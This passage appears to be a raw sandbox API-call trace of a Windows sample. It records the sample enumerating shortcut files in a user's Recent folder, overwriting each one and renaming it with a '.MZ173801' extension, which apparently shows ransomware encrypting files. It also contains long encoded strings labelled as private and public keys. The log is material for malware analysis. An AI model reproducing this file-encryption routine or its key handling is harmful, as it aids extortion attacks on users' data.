SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.860] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x2de, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x2de, lpOverlapped=0x0) returned 1 [0148.861] CloseHandle (hObject=0x280) returned 1 [0148.861] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\music.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.862] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x2de, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x2de, lpOverlapped=0x0) returned 1 [0148.863] CloseHandle (hObject=0x280) returned 1 [0148.865] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\music.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\music.lnk.mz173801")) returned 1 [0148.866] GetCurrentThreadId () returned 0xab4 [0148.866] GetCurrentThreadId () returned 0xab4 [0148.866] GetCurrentThreadId () returned 0xab4 [0148.866] GetCurrentThreadId () returned 0xab4 [0148.866] GetCurrentThreadId () returned 0xab4 [0148.866] GetCurrentThreadId () returned 0xab4 [0148.866] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f5d82a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4f5d82a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4f5d82a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x43d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="MZb5e8JNXGX.lnk", cAlternateFileName="MZB5E8~1.LNK")) returned 1 [0148.866] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.866] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.866] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MZb5e8JNXGX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mzb5e8jnxgx.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f5d82a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4f5d82a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4f5d82a, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x43d)) returned 1 [0148.866] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MZb5e8JNXGX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mzb5e8jnxgx.lnk")) returned 0x20 [0148.866] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MZb5e8JNXGX.lnk", dwFileAttributes=0x80) returned 1 [0148.869] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.869] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.870] GetCurrentThreadId () returned 0xab4 [0148.870] GetCurrentThreadId () returned 0xab4 [0148.870] GetCurrentThreadId () returned 0xab4 [0148.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.871] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.871] GetCurrentThreadId () returned 0xab4 [0148.871] GetCurrentThreadId () returned 0xab4 [0148.871] GetCurrentThreadId () returned 0xab4 [0148.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MZb5e8JNXGX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mzb5e8jnxgx.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.871] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.871] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.871] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x43d [0148.872] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.872] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x43d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x43d, lpOverlapped=0x0) returned 1 [0148.873] CloseHandle (hObject=0x280) returned 1 [0148.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MZb5e8JNXGX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mzb5e8jnxgx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.874] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x43d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x43d, lpOverlapped=0x0) returned 1 [0148.876] CloseHandle (hObject=0x280) returned 1 [0148.877] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MZb5e8JNXGX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mzb5e8jnxgx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MZb5e8JNXGX.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mzb5e8jnxgx.lnk.mz173801")) returned 1 [0148.877] GetCurrentThreadId () returned 0xab4 [0148.877] GetCurrentThreadId () returned 0xab4 [0148.877] GetCurrentThreadId () returned 0xab4 [0148.877] GetCurrentThreadId () returned 0xab4 [0148.877] GetCurrentThreadId () returned 0xab4 [0148.877] GetCurrentThreadId () returned 0xab4 [0148.877] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1835a14, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1835a14, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf1835a14, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3b2, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="m_JbGT.lnk", cAlternateFileName="")) returned 1 [0148.878] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.878] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.878] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m_JbGT.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m_jbgt.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1835a14, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1835a14, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf1835a14, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3b2)) returned 1 [0148.878] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m_JbGT.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m_jbgt.lnk")) returned 0x20 [0148.878] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m_JbGT.lnk", dwFileAttributes=0x80) returned 1 [0148.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 